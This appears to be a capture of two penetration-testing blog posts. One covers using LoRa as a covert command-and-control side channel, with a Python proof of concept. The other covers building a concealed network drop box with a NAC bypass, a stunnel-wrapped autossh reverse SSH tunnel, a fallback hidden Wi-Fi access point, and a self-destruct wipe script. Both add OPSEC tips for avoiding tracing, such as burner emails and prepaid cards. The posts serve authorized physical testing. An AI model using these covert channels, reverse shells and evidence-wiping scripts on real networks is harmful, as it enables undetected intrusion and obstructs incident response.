Normal view

There are new articles available, click to refresh the page.
Before yesterdayNettitude Labs

Using LoRa as a Side Channel

19 April 2023 at 09:00

This article will focus on using a LoRa to create a side channel using a public LoRa infrastructure. By using a gateway and endpoints defined in a LoRa network service, it is possible to create a functional means to issue commands and receive data from a placed drop box. This article will look at using a public LoRa cloud service to simplify this method to the reader. However, it is also possible to host a private LoRaWAN server, which will provide the same service as a cloud service provider but remain anonymous in an IR event.

Definitions

LoRa is a low power radio device that allows for sending small packets far distances. LoRa operates in the frequency ranges, 169MHz (Asia), 868 MHz (Europe) and 915 MHz (North America) and has a range of up to 6 miles. Features of LoRa include media access controls and the encryption transmissions. LoRa is currently being used to provide status and control of devices in remote or inconvenient locations, such as windmills, solar panels and farm watering systems.

In penetration testing a side channel is a means to access a device that is hidden from a target’s monitoring. Historically this has meant using Wi-Fi or LTE instead of sending egress traffic over a target’s network.

LoRa, as all side channels, offers some pros and cons. One of the biggest advantages is the unmonitored frequencies and the range of LoRa. Unlike Wi-Fi, currently there is no monitoring solution for companies to detect a rogue LoRa signal within a location. Additionally, unlike LTE or cellular service, LoRa can be setup to offer an untraceable remote access.

The main disadvantage is the small packet size (a packet can have a max of 222 bytes, In my testing, I expect a DR3 rate or transmission packet size of 115 byte that maximizes range and stability of the connection). Other disadvantages are half duplex communication and a requirement to write custom code to execute commands. When using public cloud services, it could be possible to trace the LoRa end point to an account but a point-to-point or hosting a private LoRaWAN server setup makes this extremally unlikely to ever be traced.

Lab Equipment

  • LA66 USB LoRaWAN Adapter: Cost $20-$35 – This is a flexible serial to LoRa module that has P2P firmware supporting the open-source peer-to-peer LoRa protocol. The shipped firmware is ready for registration with its world-unique OTAA key, clear documentation, and AT command support.
  • The Things Indoor LoRaWAN Wi-Fi Gateway – 8 Channel LoRa 900 MHz: Cost ~$110 – This gateway is designed by The Things Network (TTN) that uses Wi-Fi for connection to TTN. It can be powered by a USB-C cable for in-the-field deployment or a wall outlet. The range in my testing has been ~ .5 to 2 miles, depending on placement and urban environment.

LoRa Service

The Things Network (TTN) – TTN network is one of several LoRa service provider networks. However, TTN offers a community edition that allows for up to 10 devices for free. It does require a credit card and email address, but these can be a burner email address and a pre-paid debit card. This network offers the ability to hook into an authenticated MQTT service, Azure IoT, AWS IoT, or other web endpoint of external programming control. TTN provides everything a self-funded researcher needs.

For open source LoRaWAN servers, to host a private LoRaWAN server, several GitHub projects exist as well as commercial devices that can be purchased for affordable cost.

The last bit of knowledge required is learning the AT command syntax. DRAGINO provides the DRAGINO_L66_AT_Commands_v1.0.pdf documentation via Dropbox. This document explains all the supported AT commands. Please note the command format is not always correct, at least for me or my device firmware. For example, to send data, the PDF says to use the command: AT+SENDB=12:abcdef0123456789. However, this causes the unit to reboot, so use the command format AT+SENDB=<confirn_status>,<Fport>,<data_len>,<data> or AT+SENDB=01,02,7,AECACACA45FFFE. Using the confirm status of “01”, in my use of the TTN backend seems to be the only way to get data uploaded and downloaded in real time.

The setup of TTN backend is out of scope for this article, but product documentation makes this a trivial exercise. For an overview of setting up a gateway, application, and endpoint, use this article.

Connecting the L66 to the drop box or a Linux based system creates a USB serial tty device without the need of any drivers or software to build. This makes it easy to troubleshoot and getting started learning by using screen, picoterm, or your favorite terminal program. For this article I used a Mac Pro for convenience, but everything translates to an Debian or Ubuntu based ARM device.

USB seral device

The LA66, once configured to the TTN backend, automatically handles authentication to your TTN account. Connecting to the device via screen or use of AT+NJS to view the join status should show the device is connected to the TTN backend.

LA66 joined status message

At this point you can attempt to send commands, such as AT+SENDB=01,02,1,00. This command says send 1 bit of binary data, “00”, on fport 2. I have not had success sending ASCII text with the AT+SEND command, but this could be an error in my understanding.

This uploaded data can be viewed under the Live data section in the TTN console as seen below.

LoRa Live data feed

For sending data down to the LA66, this is done by using the Messaging page. Make sure to check the “Confirmed downlink” checkbox. Pressing the “Schedule downlink” button places the message on the queue for the LA66 to pick up. Message page

Message sending and receiving are under the control of the LA66 endpoint device. This means that communications only happen when the device checks in or sends a message. The POC code uses a 30-second delay and sends a payload of “00”, which I used to mean no command data is being returned. If a message has been received by the backend, the LA66 provide the notification of Run AT+RECV=? To see the details. The POC code reads the status line after each send looking for the message Run AT+RECV=? to see what code to run. Note the AT+RECV is not cleared unless a new message is received.

The following screenshot shows this logic using the screen program.

Downloaded LoRa message waiting in queue

Screen output:

Screen output

Proof of Concept Script

(PS – I know some things, but good programming style is not one of them)

import os
import serial
import time
import binascii
import re

ser = serial.Serial('/dev/tty.usbserial-0001') # fix - logic to find correct device but POC

ser.baudrate = 9600
ser.bytesize = 8
ser.parity = 'N'
ser.stopbits = 1
ser.timeout = None
ser.xonxoff = 0
ser.rtscts = 0
ser.timeout = 10
data = '00'
next_cmd = '00' # Fix - array or SQLITE DB would be better but POC


def send(fp, data):
   data = binascii.hexlify(data.encode('UTF-8'))
   d_up = f'AT+SENDB=01,{fp},{int(len(data) / 2)},{str(data,"ascii")}\r\n'
   d_up = d_up.encode(encoding="UTF-8")
   print(d_up)
   ser.write(d_up)
   time.sleep(5)


def recv():
   d_down = 'AT+RECVB=?\r\n'
   d_down = d_down.encode(encoding="UTF-8")
   ser.write(d_down)
   time.sleep(5)


def readline():
   global next_cmd
   line = ser.read(size=600)
   print(line)
   #Run AT+RECVB=? to see detail
   if (line.find(b'Run AT+RECVB=?') != -1):
      #set recv flag
      recv()
      s = re.split(r"[~\r\n]+",str(ser.read(size=600),'ascii'))
      print(s[0])
      # for POC only allow one command to come in
      if next_cmd == '00':
         next_cmd = cmd(s[0])
   #


def cmd(run_me):
   # fport can be used to determine what type of activity
   # the first element is fport
   do = run_me.split(':')
   if do[0] == "1":
      print("case 1")
      results = os.getcwd()
   elif do[0] == "2":
      print("case 2")
   elif do[0] == "3":
      print("case 3")
   #
   next_cmd = '00'
   return results


while True:
   #
   # TX can only have a certain number of bytes: DR3 = 115 max
   # using fport on the TX to show how much data to reassemble
   #
   fp = 1
   if len(data) > 110:
      i = 0
      #
      while i < len(data):
      if i+110 < len(data):
         send(fp, data[i:i+110])
         time.sleep(5)
         #
         # since half duplex need to see if new command came in
         # should not but we like to stack c2 commands. Can improve using fix lengths or
         # waiting to 00 send to show waiting for command
         # remember this is POC; if things set messed up download message 04FE to
         # cause LA66 to reboot
         #
         readline()
      else:
         send(fp,data[i:len(str)])
         time.sleep(5)
         readline()
      i += 110
      if fp > 220: # fport 224 – 255 are reserved
      fp += 1
   else:
      send('01', data)
      readline()
   #
   data = next_cmd
   #
   time.sleep(30)

The following screen shows the running of the POC code and the resulting output.

POC output

For this article the download message of 1:araddeadfffe triggers the POC code to run the command os.getcwd(). The POC code runs and send the message with the hex data of the directory the program runs in. The following shows this by converting the payload: 2f55736572732f7061747269636b6d617474686577732f4465736b746f70 into ASCII.

Command execution results:

Command execution results

To make this more functional for penetration testing engagements, we can create a program to run command creation and reading the returned data. TTN offers several options such as using the authenticated MQTT service or Storage integration to fully use LoRa as part of any C2 application or drop box deployment.

As the POC code shows, using a LoRa side channel in this article’s configuration is best for doing initial reconnaissance, passive network listening, controlling interactive sessions enabling, and resetting a drop box. For interactive sessions over LoRa, several projects currently show how to create SSH sessions using the AX.25 protocol. This is requires using a point-to-point configuration. Using the point-to-point side channel requires more configuration to set up the LoRaWAN endpoints to communicate, but is easy to do as I will show in a later article.

Helpful Hints

  1. If you lose the LA66 devices IDs and app keys, the AT+CFG command provides you the data needed to connect the device as an end device to TTN or other service providers.
  2. Sending a message of 04FE to the device will trigger the LA66 to reset.
  3. The POC code used fport number to get around the 115 byte limit of DR3 transmit packet size. I use the fport number to reassemble results with more then 115 bytes.
  4. Any command results that are large in nature should to be stored on the drop box for accessing with an interactive session.

 

The post Using LoRa as a Side Channel appeared first on LRQA Nettitude Labs.

Creating an IR Nightmare Drop Box

21 April 2023 at 09:00

A common objective of physical assessments is placement of a drop box to establish communication out of the network environment. A few years ago, the choices were limited to NUC or a Raspberry PI type of device. Each had their pros and cons when looking to balance concealment and a device’s power (CPU, memory and storage). Gladly, today’s physical penetration tester has numerous choices to use as a drop box, from commercial products to barebones roll-your-own.

This article will focus on my one of my two favorite types of drop boxes that balance power, deployment flexibility, and concealment size. The scope of this article will touch sample configurations and the “whys” for the configuration. Since this article got long, the import topic of concealment will be detailed in a follow-up article.

The first of my two go-to drop boxes is the Nano Pi R1. This device’s hardware is impressive with Quad-core CPU, dual NICs, 1GB DDR3 Ram, 8GB eMMC internal storage, Wi-Fi, and support for Ubuntu Core, for under $100.

If the cost of $100 for a drop box concerns you, then the Orange Pi R1 or another Nano PI without the internal storage and additional memory may be a better choice for your initial testing.

Some of the reasons I like the Nano Pi R1 are the 8GB eMMC storage and MicroSD card slot. Since this unit looks like a Raspberry PI, the SD card is perfect for a dummy OS and configuration for the IR team to focus on. Additionally, a self-destruction script that checks for the SD card at boot can further protect your callback infrastructure by secure wiping the internal eMMC storage.

The Dual NICs allows for placing the device in line with a device on the network. This allows for hiding the device on the network by using MAC address cloning and allows for 801.X NAC bypasses (2004). The Wi-Fi allows for on-site access. Nothing is worse than a successful placement but no ping home. The ability to access and edit the configuration of a successfully placed box is priceless. The configuration I use only brings up the device’s Wi-Fi as an access point if the device cannot access the internet or the STUNNEL fails to call home. Many Wi-Fi products now have the ability for rogue device detection, so using an LTE side channel or turning on the Wi-Fi AP only when things don’t work allows for it to remain stealthy.

The two USB ports and Serial interface allow for adding in an LTE side channel. I prefer an LTE modem without Wi-Fi, to avoid any possible detection. The Nano Pi R1’s support for Ubuntu means it will work well with several different USB modems, but you need to factor in the USB modem with your concealment design.

Installation

Friendly Elec has a simple installer script and instruction on their Wiki page for installation onto the eMMC storage.

Installation will require the use of a USB to TTL Serial debug console cable to access the debug UART. The biggest problem always is making sure the debug console cable is correctly plugged in, with the TX and RX channels properly crossed. Since universally “black = ground” and “red = power”, it normally only means switching two wires to get access to the console.

For device console work, I prefer picocom. The command sudo picocom /dev/ttyUSB0 -b 115200 seems to always work when the cable is correctly wired.

Text Description automatically generated

Drop Box Configuration

To simplify this article and save your reading time, I basically use the well documented classic 802.1x 2004 bypass method to set up the transparent bridge. If you’re unfamiliar with this method the reference section below lists some very good writeups, with dolojs and silentbridge articles filling in details purposely left out.

The important thing about drop box placement is meeting your client’s needs and understanding your client’s cyber security maturity. This could mean using a Wi-Fi AP, LTE side channel, or egress C2 from their network. For the purposes of this article, I will focus on using the Wi-Fi AP as the side channel.

As stated above, my basic bridge configuration is built around Michael Schneider’s version of Nackered, which is based on Duckwall’s Def Con 19 talk. Reviewing these refences will provide you with a setup script you can use with a @reboot cron job such seen below or an /etc/init.d job.

Text Description automatically generated

I like to have the drop box reboot at 00:01, one minute after midnight, just in case the box drops or has some other issue that only CTL+ALT+DELETE can fix.

One import item to note is that all the scripts referenced below require knowing which network interface is plugged into the switch and plugged into the device. The 1GB port, (left hand network port on the Nano PI R1), is the preferred switch port and the 100MB port (right hand network port) with the MiTM device.

As seen below, the ASA shows the MAC address and IP address of the MiTM PC.

MiTM ebtables

Text Description automatically generated

ASA show arp

Text, chat or text message Description automatically generated

Drop Box Access

For remote connections, I use autossh with the public keys of the engagement consultant. Autossh provides robustness to the SSH reverse shell. STUNNEL using PKI authentication protects against MiTM attacks and further conceals SSH reverse shell traffic. Depending on the engagement, egress communication can be over the LTE side channel or egress from the client’s network.

STUNNEL

STUNNEL is an open-source software by Michal Trojnara, that provides a TLS encryption wrapper for other services. STUNNEL provides a means to authenticate with passwords or public keys. I would recommend using PKI authentication since the TLS certificate could be visible to the client.

For PKI authentication you can use a LetsEncrypt certificate with the client/server traffic, which would blend in better than a self-signed certificate. The following is a sample configuration that can be placed into /etc/stunnel/stunnel.conf on the drop box (client) and remote server.

+++++ Client Stunnel config ++++++++ 
cert = /etc/stunnel/fullchain1.pem 
key = /etc/stunnel/privkey1.pem 
#chroot = /var/run/stunnel4 
pid = /tmp/stunnel.pid 

setuid = stunnel4 
setgid = stunnel4 
client = yes 

[ssh] 
accept =  2222 
connect = <FQDN>:443
++++ SERVER +++++++ 

cert = /etc/letsencrypt/archive/<FQDN>/fullchain1.pem 
key  = /etc/letsencrypt/archive/<FQDN>/privkey1.pem 
sslVersion = TLSv1 
#options = NO_SSLv2 
#options = NO_SSLv3 
chroot = /var/run/stunnel 
setuid = www-data 
setgid = www-data 
pid = /stunnel.pid 
socket = l:TCP_NODELAY=1 
socket = r:TCP_NODELAY=1 

[ssh] 
accept = 443 
connect = 22 
TIMEOUTclose = 0

This configuration sets up the stunnel client to listen for the SSH service on tcp/2222 to redirect TLS-encrypted traffic to the remote server on tcp/443. The stunnel server will listen for a connection on tcp/443 and redirect the TLS-decrypted traffic to the local SSH service listening on tcp/22.

You may need to edit the setuid, setgid and pid to get stunnel working on your infrastructure and its /etc/init.d/stunnel configuration. At the time of writing this article the above works with Ubuntu, but my stunnel init.d script is modified.

AutoSSH

AutoSSH is a service that monitors SSH sessions and tunnels to restart automatically if traffic stops.

To create autossh as a service, place the following configuration into a file called autossh.service under /etc/system/system/ :

[Unit] 
Description=Auto Reverse SSH 
#Requires=systemd-network.target 
#After=systemd-networkd-wait-online.service 

[Service] 
Environment="AUTOSSH_GATETIME=0" 
ExecStart=/usr/bin/autossh -M 0 -N -o "PubkeyAuthentication=yes" -o "PasswordAuthentication=no” -o "ExitOnForwardFailure=yes" -o "ServerAliveInterval 60" -o "ServerAliveCountMax 3" -i /root/.ssh/id_rsa -p 2222 proxyuser@localhost -R 8081:localhost:22 
ExecStop=/usr/bin/pkill autossh 
Restart = always 

[Install] 
WantedBy=multi-user.target

The command: systemctl enable autossh will enable the autossh service to start at boot. The main part of this config, ExecStart, tells autossh to create a reverse ssh tunnel over the STUNNEL channel listening on local network port tcp/2222. The remote server will have a listener on tcp/8081 created.

To connect to this tunnel, we can use ssh localhost -p 8081 on the remote server or use SSH tunnelling magic that passes through the remote server to the drop box.

Why not OpenVPN ? For physical engagements, the drop box is an initial foothold to only be used to access the target by other means. Where a traditional penetration testing engagement assigned to an unknown consultant, using a NUC with OpenVPN to call back is very effective, especially if the NUC uses a LUKS protected disk and the decrypt key is provided to the client by a secondary channel.

Wi-Fi AP

I found with the Nano Pi R1 you will needed to use the armbian-config command to configure the internal Wi-Fi adapter as an access point during setup to have device setup and install hostapd correctly. The Hotspot command can be found under Network.

Text Description automatically generated

The Wi-Fi AP is configured using the /etc/hostapd.config file. Disable SSID broadcasts by setting ignore_broadcast_ssid=1 within the config. For a SSID you can look to match something around your client’s location or use something like “jeans iphone” or “CEO iphone”. Be aware of your client’s cyber maturity and policies. I had a client that would actively DoS anything that appeared to be a hotspot, but they also had IDS on printers.

The following check added as a cron job can be used to check if the SSH tunnel is up, and if not turn on the Wi-Fi AP.

#!/bin/bash 

while true 
do  
    netstat  -antp | grep -v grep | grep -e  ”IP_ADDRESS_OF_REMOTE_SERVER:8081” > /dev/null 
    result=$? 
    If [ “${result} -ne “0” ] 
    then 
       # turn up AP Wireless hotspot 
       ifconfig wlan0 down 
       /etc/init.d/dnsmasq stop 
       /etc/init.d/hostapd stop 
 
       sleep 2
       ifconfig wlan0 172.24.1.1/24 up 
       sleep 2 
       /etc/init.d/dnsmasq start 
       /etc/init.d/hostapd start 
       sleep 1 
    fi 

    sleep 3600 
done

Alternatively, # turn up AP Wireless hotspot can be added to the NAC bypass script of your choice.

Self-Destruction

In a cron job that runs at random times, the following sample bash script can be used to check if the SD card was removed. If the SD card has a removed message in /dev/kmsg, then perform a secure wipe of certain directories and files.

#!/bin/bash

dmesg | grep -v grep | grep “mmc0: card.*removed” > /dev/null
result=$?

If [ “${result}” -eq “0” ]
then
    srm -r /boot
    srm -r /root/.bash_history
    srm -r /root/.ssh/known_hosts
    srm -r /etc/stunnel/stunnel.conf
    srm -r /root/working/
    srm -r /etc/hostapd.conf
    srm -r /tmp/nac.txt
    srm -r /etc/init.d/
    srm -r /etc/
    srm -r /root/
    srm -r /home/
    srm -r /tmp/
fi

This script first wipes the boot partition, then works through files that may disclose the callback infrastructure or contain test data. Of course this script and logic can be enhanced in multiple ways for wiping the eMMC disk. Additionally, monitoring for a serial console cable being attached to a deployed drop box could be used to trigger the above script to run.

POC Wipe Script

The following is a POC wipe script for testing that will write a message to dmesg and delete all the contents of /home/test. The while loop allows for starting monitoring when the device boots.

Text Description automatically generated

Dmesg Log and Contents of Home

Text Description automatically generated

With your testing, remember to run dmesg -C between removing and inserting the SD card to clear the card removed message.

OPSEC notes

  1. If you send traffic over the client’s network, both the LetsEncrypt SSL certificate and server infrastructure can be tracked to an account. Pre-paid cards paid with cash can be used to purchase hosting services.
  2. LTE side channel SIMS / IMEI number can be tracked to an account, either from the physical device or cell tower access; however, careful use of a prepaid bought service and being mindful of when and where you turn on the modem can help reduce these attestations.

My 2019 Derby Con talk provides ways that still work to avoid attestation.

Conclusion

This article highlighted how one type of PI device with an internal storage card and SD card can enhance a drop box and hinder an IR event. While this is overkill for most engagements, having this ability against the right target may provide a better engagement.

In a later article I will provide details on how to create concealment for your drop box.

References

The post Creating an IR Nightmare Drop Box appeared first on LRQA Nettitude Labs.

❌
❌